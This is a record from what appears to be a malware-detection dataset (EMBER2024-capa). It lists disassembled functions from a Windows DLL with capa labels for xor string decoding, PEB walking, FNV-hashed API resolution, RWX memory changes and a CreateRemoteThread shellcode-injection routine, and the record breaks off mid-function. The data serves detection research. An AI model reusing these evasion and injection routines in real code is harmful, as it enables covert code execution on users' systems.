joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003bc0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x18008d020]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, qword [0x180097568]
mov rdi, rcx
test rbx, rbx
jne 0x180003e27
movups xmm0, xmmword [0x1800818c0]
xor ecx, ecx
cmp dword [0x18008d028], 2
movups xmm1, xmmword [0x1800818d0]
movzx eax, word [0x180081918]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1800818e0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x180081900]
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [str.5.2_]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [0x1800818f0]
movsd qword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x50], xmm1
mov word [rsp + 0x78], ax
jl 0x180003dc6
movdqa xmm5, xmmword [0x1800827d0]
lea rdx, [rsp + 0x20]
movdqa xmm4, xmmword [0x1800828e0]
mov eax, 5
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1800827f0]
movaps xmmword [r11 - 0x38], xmm8
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [r11 - 0x48], xmm9
movdqa xmm9, xmmword [0x180082800]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x28
jl 0x180003cb0
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0xc0]
cmp ecx, 0x2d
jge 0x180003e13
movsxd rax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ecx, 0x2d
jl 0x180003de0
lea rcx, [rsp + 0x20]
call fcn.180003210
mov rbx, rax
mov qword [0x180097568], rax
mov rdx, rdi
call fcn.180002800
test al, al
je 0x180003e58
mov rax, qword [rdi]
test rax, rax
je 0x180003e58
mov r9, qword [rax + 0x268]
test r9, r9
je 0x180003e58
lea r8, [rsp + 0x80]
mov rdx, rbx
mov rcx, rdi
call r9
mov eax, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180042cf0
mov rbx, qword [rsp + 0xe8]
add rsp, 0xd0
pop rdi
ret
Function at 0x180004190
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x18008d020]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, qword [0x180097518]
mov rdi, rcx
test rbx, rbx
jne 0x1800043d7
movups xmm0, xmmword [0x18007d8a0]
xor ecx, ecx
cmp dword [0x18008d028], 2
movups xmm1, xmmword [0x18007d8b0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x18007d8c0]
movups xmmword [rsp + 0x30], xmm1
movups xmm1, xmmword [str._8_]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x18007d8e0]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x18007d8f0]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
jl 0x180004383
movdqa xmm5, xmmword [0x1800827d0]
lea rdx, [rsp + 0x20]
movdqa xmm4, xmmword [0x1800828e0]
mov eax, 5
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x1800827f0]
movaps xmmword [r11 - 0x38], xmm8
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [r11 - 0x48], xmm9
movdqa xmm9, xmmword [0x180082800]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 0x10]
paddd xmm2, xmm5
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rdx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 8], xmm3
cmp ecx, 0x30
jl 0x180004270
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0xc0]
jmp 0x1800043c3
lea r8, [rsp + 0x20]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 2]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x3a
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ecx, 0x30
jl 0x180004390
lea rcx, [rsp + 0x20]
call fcn.180003210
mov rbx, rax
mov qword [0x180097518], rax
mov rdx, rdi
call fcn.180002800
test al, al
je 0x180004408
mov rax, qword [rdi]
test rax, rax
je 0x180004408
mov r9, qword [rax + 0x268]
test r9, r9
je 0x180004408
lea r8, [rsp + 0x80]
mov rdx, rbx
mov rcx, rdi
call r9
mov eax, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180042cf0
mov rbx, qword [rsp + 0xe8]
add rsp, 0xd0
pop rdi
ret
Function at 0x180004da0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0xd0
mov rax, qword [0x18008d020]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, qword [0x180097530]
mov rdi, qword [0x1800902d8]
movaps xmmword [r11 - 0x18], xmm6
movaps xmm6, xmm1
test rbx, rbx
jne 0x180004ffc
movups xmm0, xmmword [0x1800823b0]
xor r8d, r8d
cmp dword [0x18008d028], 2
movups xmm2, xmmword [0x1800823c0]
movups xmm1, xmmword [0x1800823e0]
movups xmmword [rsp + 0x20], xmm0
movups xmm0, xmmword [0x1800823d0]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1800823f0]
movsd qword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x30], xmm2
movups xmmword [rsp + 0x50], xmm1
jl 0x180004f9e
movdqa xmm5, xmmword [0x1800827d0]
lea rcx, [rsp + 0x20]
movdqa xmm4, xmmword [0x1800828e0]
mov eax, 5
movaps xmmword [r11 - 0x28], xmm7
movaps xmmword [r11 - 0x38], xmm8
movdqa xmm8, xmmword [0x1800827f0]
movaps xmmword [r11 - 0x48], xmm9
movd xmm7, eax
mov eax, 0x1f
movaps xmmword [r11 - 0x58], xmm10
movdqa xmm10, xmmword [0x180082800]
movd xmm9, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm7
movdqa xmm0, xmm1
psrld xmm0, xmm9
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm10
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm7
movdqa xmm0, xmm1
psrld xmm0, xmm9
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm10
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x180004e80
movaps xmm10, xmmword [rsp + 0x80]
movaps xmm9, xmmword [rsp + 0x90]
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
cmp r8d, 0x24
jge 0x180004fe8
movsxd rax, r8d
lea r9, [rsp + 0x20]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
cmp r8d, 0x24
jl 0x180004fb0
lea rcx, [rsp + 0x20]
call fcn.180003210
mov rbx, rax
mov qword [0x180097530], rax
mov rdx, rdi
movss dword [rsp + 0x70], xmm6
call fcn.180002800
movaps xmm6, xmmword [rsp + 0xc0]
test al, al
je 0x180005038
mov rax, qword [rdi]
test rax, rax
je 0x180005038
mov r9, qword [rax + 0x268]
test r9, r9
je 0x180005038
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, rdi
call r9
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180042cf0
mov rbx, qword [rsp + 0xe0]
add rsp, 0xd0
pop rdi
ret
Function at 0x180005340
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbp
push r12
push r14
push r15
sub rsp, 0x20
mov rcx, qword [0x1800976d0]
mov r14, qword [0x180090360]
mov r15, qword [0x1800975c0]
mov r12, qword [0x1800975c8]
mov eax, dword [rcx + 0x14]
mov dword [r14 + 0x18], eax
cmp eax, 0x9000
jbe 0x180005381
mov dword [r14 + 0x18], 0x9000
mov rbp, qword [rcx]
mov rcx, qword [0x180097570]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
test rcx, rcx
jne 0x180005457
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x180005438
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x180005438
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x180005433
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x180005410
cmp edx, 0x7eb41a03
je 0x180005557
test r8d, r8d
jne 0x1800053f0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18000544e
cmp qword [rax + 0x30], 0
jne 0x1800053c0
xor ecx, ecx
mov qword [0x180097570], rcx
mov rdx, rbp
call fcn.18001d380
mov rcx, qword [0x180097570]
mov rbp, qword [rbp]
test rcx, rcx
jne 0x180005523
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x180005504
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x180005504
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1800054ff
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1800054e0
cmp edx, 0x7eb41a03
je 0x180005573
test r8d, r8d
jne 0x1800054c0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x18000551a
cmp qword [rax + 0x30], 0
jne 0x180005490
xor ecx, ecx
mov qword [0x180097570], rcx
mov rdx, rbp
call fcn.18001d380
mov rdi, qword [rsp + 0x50]
mov al, 1
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [r14], rbp
mov rbp, qword [rsp + 0x58]
mov qword [r14 + 8], r12
mov qword [r14 + 0x10], r15
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ecx, dword [rcx + rdx*4]
add rcx, r9
jmp 0x180005450
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov ecx, dword [rcx + rdx*4]
add rcx, r9
jmp 0x18000551c
Function at 0x18000fdc0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbp
push r14
sub rsp, 0x20
mov rax, qword [0x180097570]
xor ebp, ebp
mov r14, rcx
test rax, rax
jne 0x18000feb2
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18000fe84
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18000fe84
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x18000fe7f
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x18000fe60
cmp edx, 0x7eb41a03
je 0x18000fed0
test r8d, r8d
jne 0x18000fe40
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x18000fe99
cmp qword [rax + 0x30], rbp
jne 0x18000fe10
mov rax, rbp
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov qword [0x180097570], rax
mov edx, 8
mov rcx, r14
call rax
test eax, eax
sete bpl
mov eax, ebp
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x18000fe9c
Function at 0x18001ad20
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x1a8
mov rax, qword [0x18008d020]
xor rax, rsp
mov qword [rsp + 0x198], rax
cmp edx, 1
je 0x18001ad58
xor eax, eax
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.180042cf0
add rsp, 0x1a8
ret
mov qword [0x180090318], rcx
call fcn.18001a620
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rax
test rax, rax
je 0x18001af17
movups xmm1, xmmword [rax + 0x30]
mov qword [rsp + 0x1b0], rbx
mov ebx, 2
mov qword [rsp + 0x1a0], rdi
mov r8d, ebx
psrldq xmm1, 0xc
movd eax, xmm1
movsxd rcx, eax
lea rax, [rsp + 0x80]
add rcx, rdx
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub r8, 1
jne 0x18001adb0
mov rcx, qword [rcx]
mov qword [rax], rcx
mov edi, dword [rsp + 0xd0]
add rdi, 0xfffffffffffffc00
add rdi, rdx
je 0x18001af07
lea r9, [rsp + 0x190]
mov qword [rsp + 0x1b8], rsi
mov edx, 0x100
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
mov edx, 0x100
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x18000fda0]
mov rdx, rdi
mov rsi, rax
lea rax, [0x18001aaf0]
mov qword [rsi], rax
mov qword [rsi + 8], 0
nop word [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rdx - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x18001ae80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, rdi
xor r8d, r8d
mov rcx, rax
xor edx, edx
lea rax, [0x180090350]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x1b0]
mov rdi, qword [rsp + 0x1a0]
mov eax, 1
mov rcx, qword [rsp + 0x198]
xor rcx, rsp
call fcn.180042cf0
add rsp, 0x1a8
ret
Function at 0x18001b980
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x18001b9a2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x18001ba1c
mov rdi, r14
mov rcx, rbx
call fcn.18001cee0
test rax, rax
jle 0x18001b9f4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.180044cd0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18001ba0c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18001ba14
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x18001b9b6
sub r14, rdi
jmp 0x18001baff
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x18001ba33
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18001ba35
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18001ba67
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.180044cd0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18001bafc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x18001baa2
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x18001badd
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.18004f238
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x18001bafc
cmp rbp, rax
ja 0x18001bab0
test rbp, rbp
je 0x18001bafc
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.18004f238
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x18001d380
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x18008d020]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rdi, rcx
mov rdx, qword [0x180097538]
test rdx, rdx
jne 0x18001d47c
mov qword [rsp + 0x80], rbx
mov rbx, qword [0x1800976a8]
mov dword [rsp + 0x4c], 0x7865742e
mov byte [rsp + 0x50], 0x74
movsxd rdx, dword [rbx + 0x3c]
movzx eax, word [rdx + rbx + 0x14]
lea r8, [rdx + rbx]
add rax, 0x18
add r8, rax
movzx eax, word [rdx + rbx + 6]
lea rcx, [rax + rax*4]
lea r11, [r8 + rcx*8]
cmp r8, r11
je 0x18001d433
lea r9, [rsp + 0x4c]
sub r9, r8
nop dword [rax]
lea r10, [r8 + 5]
mov rax, r8
cmp r8, r10
je 0x18001d433
nop dword [rax]
movsx edx, byte [r9 + rax]
movzx ecx, byte [rax]
cmp ecx, edx
jne 0x18001d426
inc rax
cmp rax, r10
jne 0x18001d410
jmp 0x18001d433
add r8, 0x28
sub r9, 0x28
cmp r8, r11
jne 0x18001d400
mov eax, dword [r8 + 8]
mov ecx, dword [r8 + 0xc]
add rcx, rbx
mov word [rsp + 0x48], 0x26ff
mov rbx, qword [rsp + 0x80]
lea rdx, [rax + rcx]
cmp rax, 2
jb 0x18001d475
movzx eax, word [rsp + 0x48]
lea r8, [rdx - 2]
cmp ax, word [rcx]
je 0x18001d472
cmp rcx, r8
je 0x18001d475
inc rcx
cmp ax, word [rcx]
jne 0x18001d465
mov rdx, rcx
mov qword [0x180097538], rdx
xor eax, eax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rsp + 0x30]
mov qword [rsp + 0x38], rdi
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea edx, [r9 + 8]
call fcn.180041850
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180042cf0
mov rsi, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
ret
Function at 0x18001f5a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push rdi
cmp dword [0x1800976f4], 0
lea rdi, [0x1800976f0]
mov r11d, r8d
mov r9d, edx
mov r10, rcx
jne 0x18001f678
mov qword [rsp + 0x10], rbx
xor edx, edx
mov rbx, rdi
nop dword [rax]
mov r8d, edx
lea rbx, [rbx + 4]
and r8d, 1
mov eax, edx
shr eax, 1
neg r8d
and r8d, 0xedb88320
inc edx
xor r8d, eax
mov eax, r8d
shr r8d, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, r8d
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [rbx - 4], eax
cmp edx, 0x100
jb 0x18001f5d0
mov rbx, qword [rsp + 0x10]
not r11d
mov eax, r11d
test r9d, r9d
jle 0x18001f6ae
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
movzx edx, al
xor rdx, rcx
shr eax, 8
xor eax, dword [rdi + rdx*4]
sub r9d, 1
jne 0x18001f690
not eax
pop rdi
ret
movzx r9d, byte [r10]
lea r8, [r10 + 1]
test r9b, r9b
je 0x18001f6ef
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x18001f6d3
cmp byte [r8], r9b
jne 0x18001f6d3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rdi + rdx*4]
test r9b, r9b
jne 0x18001f6c0
not eax
pop rdi
ret

Function at 0x18001fd00
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x20
movsxd rbp, r9d
mov rsi, r8
test r8, r8
je 0x18001fd1a
mov dword [r8], 0
call fcn.18001faf0
mov rbx, rax
test rax, rax
jne 0x18001fd2f
add rsp, 0x20
pop rsi
